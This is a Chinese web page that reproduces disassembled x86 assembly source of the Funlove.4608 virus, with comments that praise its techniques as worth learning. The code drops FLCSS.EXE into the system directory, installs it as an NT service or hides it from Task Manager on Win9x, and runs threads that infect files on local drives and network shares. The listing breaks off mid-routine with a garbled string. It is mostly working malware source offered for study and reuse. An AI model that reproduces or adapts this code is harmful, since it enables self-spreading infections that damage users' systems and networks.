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                  color=#ffffff><B>Funlove.4608的源代码</B></FONT></DIV>
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    <TD class=tenpt><CODE><FONT color=#000000><br>
      </FONT></CODE><CODE><FONT color=#000000><FONT 
      color=#cc0000> </FONT></FONT></CODE><CODE><FONT color=#000000><FONT 
      color=#cc0000> </FONT></FONT></CODE><CODE><FONT color=#000000><FONT 
      color=#cc0000>;*******************************************************************<br>
      ; Flcss.asm <br>
      ; <br>
      ; disasm by Code Demon <br>
      ; <br>
      ; Code Demon Virus Dreaming Factory <br>
      ; <br>
      ;*******************************************************************</FONT></FONT></CODE>
<p>.586 </p>
      <p>ASSUME CS:CODE,DS:CODE </p>
      <p>CODE SEGMENT USE32 </p>
      <p>VSize equ offset VEnd - VStart </p>
      <p>Phys_VSize equ 1000 </p>
      <p>main: <br>
        ;*******************************************************************<br>
        ; 开始代码 <br>
        ;*******************************************************************<br>
        VStart: </p>
      <p> call GetDelta ;此子程序用于取得病毒在内存中的开始地址,是绝大 <br>
        ;多数病毒都要用到的经典技术只一,对于写一些加密 <br>
        ;的软件有很大的帮助,莱鸟必看 <br>
        lea esi,[offset HostCode + ebx] <br>
        mov edi,[esp] <br>
        sub edi,08 <br>
        mov [esp],edi <br>
        movsd <br>
        movsd </p>
      <p> push dword ptr [esp + 04] <br>
        call RelocKernel32 ;重定位Kernel32 </p>
      <p> or eax,eax <br>
        jz short Exit </p>
      <p> cmp byte ptr [offset OS + ebx],00;判断操作系统的类型 <br>
        jnz short NT_Srv </p>
      <p> call Create9xProcess ;建立WIN9X进程 <br>
        ret </p>
      <p>NT_Srv: call CreateNTService ;建立NT服务 <br>
        Exit: ret <br>
        ;**********************************************************************<br>
        ;建立NT服务的子程序 <br>
        ;**********************************************************************<br>
        CreateNTService: </p>
      <p> call RelocAdvapi32 </p>
      <p> or eax,eax <br>
        jz short CNT_Failed </p>
      <p> push 02 <br>
        push 00 <br>
        push 00 ; 取服务管理器的句柄 <br>
        call OpenSCManagerA </p>
      <p> or eax,eax <br>
        jz short CNT_Failed </p>
      <p> mov SCM_Handle,eax </p>
      <p> call CreateExecutable ;建立FLCSS.EXE, </p>
      <p> or eax,eax ; 已经驻留内存就退出. <br>
        jz short CNT_Exit </p>
      <p> mov edi,0F01FF <br>
        lea esi,offset [Service + ebx] <br>
        push edi <br>
        push esi <br>
        push SCM_Handle <br>
        call OpenServiceA </p>
      <p> or eax,eax <br>
        jnz short CNT_Run </p>
      <p> xor eax,eax <br>
        push eax <br>
        push eax <br>
        push eax <br>
        push eax <br>
        push eax <br>
        lea eax,[offset Buffer1 + ebx] ; flcss.exe <br>
        push eax <br>
        push 01 ;错误代码 <br>
        push 02 ; 开始 <br>
        push 20 ; 类型 <br>
        push edi <br>
        push 00 <br>
        push esi <br>
        push SCM_Handle ;句柄 <br>
        call CreateServiceA ;建立服务 </p>
      <p> or eax,eax <br>
        jz short CNT_Failed </p>
      <p>CNT_Run: </p>
      <p> push 00 <br>
        push 00 <br>
        push eax <br>
        call StartServiceA ;开始服务 </p>
      <p> or eax,eax <br>
        jnz short CNT_Exit </p>
      <p>CNT_Failed: </p>
      <p> call StartInfectionThread ;传染子程序 </p>
      <p>CNT_Exit: </p>
      <p> ret <br>
        ;************************************************************<br>
        ;建立WIN9X进程的子程序 <br>
        ;************************************************************<br>
        Create9xProcess: <br>
        ;注意了:生成FLCSS.EXE,很多人的机子杀不绝,就是因为它在作怪. <br>
        call CreateExecutable </p>
      <p> or eax,eax <br>
        jz short P9x_Exit <br>
        P9x_00: <br>
        xor eax,eax <br>
        lea edi,[offset Buffer2 + ebx] <br>
        push edi <br>
        push edi <br>
        mov ecx,040 <br>
        repz stosd <br>
        <br>
        mov cl,06 <br>
        push eax <br>
        loop $ - 1 <br>
        <br>
        lea esi,[offset Buffer1 + ebx] <br>
        push esi <br>
        push 00 <br>
        call CreateProcessA ;创建进程 </p>
      <p> or eax,eax <br>
        jnz short P9x_Exit </p>
      <p>P9x_Failed: </p>
      <p> call StartInfectionThread;传染子程序 </p>
      <p>P9x_Exit: <br>
        ret </p>
      <p>************************************************************<br>
        ;注意了:生成FLCSS.EXE,很多人的机子杀不绝,就是因为它在作怪. <br>
        ************************************************************<br>
        CreateExecutable: <br>
        lea edi,[offset Buffer1 + ebx] <br>
        push edi </p>
      <p> push 104 <br>
        push edi <br>
        call GetSystemDirectoryA ;取得系统目录 </p>
      <p> add edi,eax <br>
        mov al,'\' <br>
        stosb <br>
        lea esi,[offset Process + ebx] <br>
        movsd <br>
        movsd <br>
        movsd </p>
      <p> push 02 <br>
        call OpenFile </p>
      <p> cmp eax,-1 <br>
        jz short CE_Exit </p>
      <p> mov c_FileHandle,eax </p>
      <p> lea edi,[offset VImports + ebx] ;清除 import <br>
        mov eax,-1 <br>
        stosd <br>
        stosd </p>
      <p> lea edi,[offset Kernel32_Relocated + ebx] ;第二个 import <br>
        mov eax,[edi - 8] <br>
        stosd </p>
      <p> push 00 <br>
        lea esi,c_BytesWritten <br>
        push esi <br>
        push 0200 <br>
        push ebx <br>
        push c_FileHandle <br>
        call WriteFile ; 写文件头 </p>
      <p> push 00 <br>
        push esi <br>
        push 1000 <br>
        push ebx <br>
        push c_FileHandle <br>
        call WriteFile ; 写入病毒主体 </p>
      <p> push c_FileHandle <br>
        call CloseHandle ;关闭文件 </p>
      <p>CE_Exit: <br>
        inc eax <br>
        ret <br>
        ;***************************************************************<br>
        ;以下应该是病毒的服务程序 <br>
        ;***************************************************************<br>
        VService: </p>
      <p> call GetDelta </p>
      <p> push dword ptr [esp] <br>
        call RelocKernel32 </p>
      <p> or eax,eax <br>
        jz VS_Exit </p>
      <p> cmp byte ptr [offset OS + ebx],00 ;操作系统的类型 <br>
        jz short W9x_Service_Register ;注册WIN9X服务 </p>
      <p>WNT_Service_Hacknowledge: </p>
      <p> call RelocAdvapi32 ;重定位Advapi32 <br>
        or eax,eax <br>
        jz VS_Exit </p>
      <p> lea esi,[offset Buffer1 + ebx] </p>
      <p> xor eax,eax <br>
        lea ecx,[offset Service + ebx] <br>
        lea edx,[offset ServiceDispatcher + ebx] <br>
        mov [esi],ecx <br>
        mov [esi + 04],edx <br>
        mov [esi + 08],eax <br>
        mov [esi + 0C],eax ; 将控制权返回给调用者 <br>
        <br>
        push esi <br>
        call StartServiceCtrlDispatcherA </p>
      <p>W9x_Service_Register: </p>
      <p> lea esi,[offset USER32_Name + ebx] <br>
        push esi <br>
        call LoadLibraryA </p>
      <p> lea esi,[offset RegisterClassA+ ebx] <br>
        push esi <br>
        push eax <br>
        call GetProcAddress ;取进程的地址 <br>
        <br>
        or eax,eax <br>
        jz short VS_00 </p>
      <p> mov [esi - 06],eax </p>
      <p> lea esi,[offset Buffer1 + ebx] <br>
        mov edi,esi <br>
        xor eax,eax <br>
        mov ecx,0A <br>
        repz stosd </p>
      <p> mov dword ptr [esi + 04],-1 <br>
        mov dword ptr [esi + 10],400000 ; WINDOWS9X的基址 <br>
        lea eax,[offset Service + ebx] <br>
        mov [esi + 24],eax </p>
      <p> push esi <br>
        call RegisterClassA ; 这里非常重要 </p>
      <p> lea esi,[offset RegisterServiceProcess+ ebx] <br>
        push esi <br>
        push dword ptr [offset Kernel32_Base + ebx] <br>
        call GetProcAddress </p>
      <p> or eax,eax <br>
        jz short VS_00 </p>
      <p> mov [esi - 06],eax </p>
      <p> call GetCurrentProcessId ;取当前进程的ID <br>
        ; 注册为服务 </p>
      <p> call GetCurrentProcessId ;取当前进程的ID <br>
        ; 注册为服务进程,防止被用户 <br>
        push 01 ;用CTRL+ALR+DEL从任务管理器中发现 <br>
        push eax <br>
        call RegisterServiceProcess </p>
      <p> push 8000 ; 延时 <br>
        call Sleep </p>
      <p>VS_00: <br>
        call StartInfectionThread </p>
      <p>VS_Exit: <br>
        ret <br>
        ;*************************************************************<br>
        ;NT服务子程序 <br>
        ;*************************************************************<br>
        ServiceDispatcher: <br>
        call GetDelta <br>
        lea esi,[offset ServiceHandler + ebx] <br>
        lea edi,[offset Service + ebx] <br>
        push esi <br>
        push edi <br>
        call RegisterServiceCtrlHandlerA </p>
      <p> mov Service_Handle,eax </p>
      <p> lea esi,[offset Buffer1 + ebx] <br>
        mov edi,esi <br>
        mov ecx,06 <br>
        xor eax,eax <br>
        repz stosd </p>
      <p> mov dword ptr [esi],10 <br>
        mov dword ptr [esi + 04],04 <br>
        mov dword ptr [esi + 08],07 </p>
      <p> push esi <br>
        push Service_Handle ;告诉WINDOWS服务已经正确的运行 <br>
        call SetServiceStatus </p>
      <p> push 8000 <br>
        call Sleep </p>
      <p> call StartInfectionThread ;建立进程 <br>
        ret </p>
      <p><br>
        ServiceHandler: <br>
        <br>
        ret ; 当管理员关闭服务时,提示系统出错!好东西!!! <br>
        ;*****************************************************************<br>
        ;此子程序用于建立线程 <br>
        ;*****************************************************************<br>
        StartInfectionThread: <br>
        call GetTickCount <br>
        mov [offset Rand + ebx],eax </p>
      <p> lea eax,ThreadId <br>
        push eax <br>
        push 0 <br>
        push 0 <br>
        lea eax,[offset VThread + ebx] <br>
        push eax <br>
        push 0 <br>
        push 0 <br>
        call CreateThread <br>
        ret <br>
        ;******************************************************************<br>
        ; 病毒线程 <br>
        ;******************************************************************<br>
        VThread: <br>
        call GetDelta </p>
      <p> call InfectDrives ;感染本地文件 </p>
      <p> push 60000 <br>
        call Sleep </p>
      <p> call GetRand <br>
        and al,1F <br>
        jnz short VThread </p>
      <p> call InfectNetwork ;感染网络文件 <br>
        jmp short VThread </p>
      <p>;***********************************************************************<br>
        ; 通过网络传染的子程序,值得借鉴 <br>
        ;***********************************************************************<br>
        InfectNetwork: <br>
        lea eax,[offset MPR_Name + ebx] <br>
        push eax <br>
        call LoadLibraryA </p>
      <p> or eax,eax <br>
        jz short INet_Failed </p>
      <p> push eax <br>
        lea esi,[offset MPR_Functions + ebx] <br>
        push esi <br>
        call DLL_Relocate </p>
      <p> or eax,eax <br>
        jz short INet_Failed </p>
      <p> push 00 <br>
        call NetSearch </p>
      <p>INet_Failed: <br>
        ret <br>
        ;******************************************************************<br>
        ; 此子程序用于测试驱动器是否有效 <br>
        ;******************************************************************<br>
        InfectDrives: <br>
        push esi </p>
      <p> call GetTickCount <br>
        mov [offset Tick + ebx],eax </p>
      <p> lea esi,[offset Buffer1 + ebx] <br>
        mov dword ptr [esi],' \:+ ebx - offset VStart' <br>
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💿 文件大小 10794 K
👤 上传用户 ivanyeh
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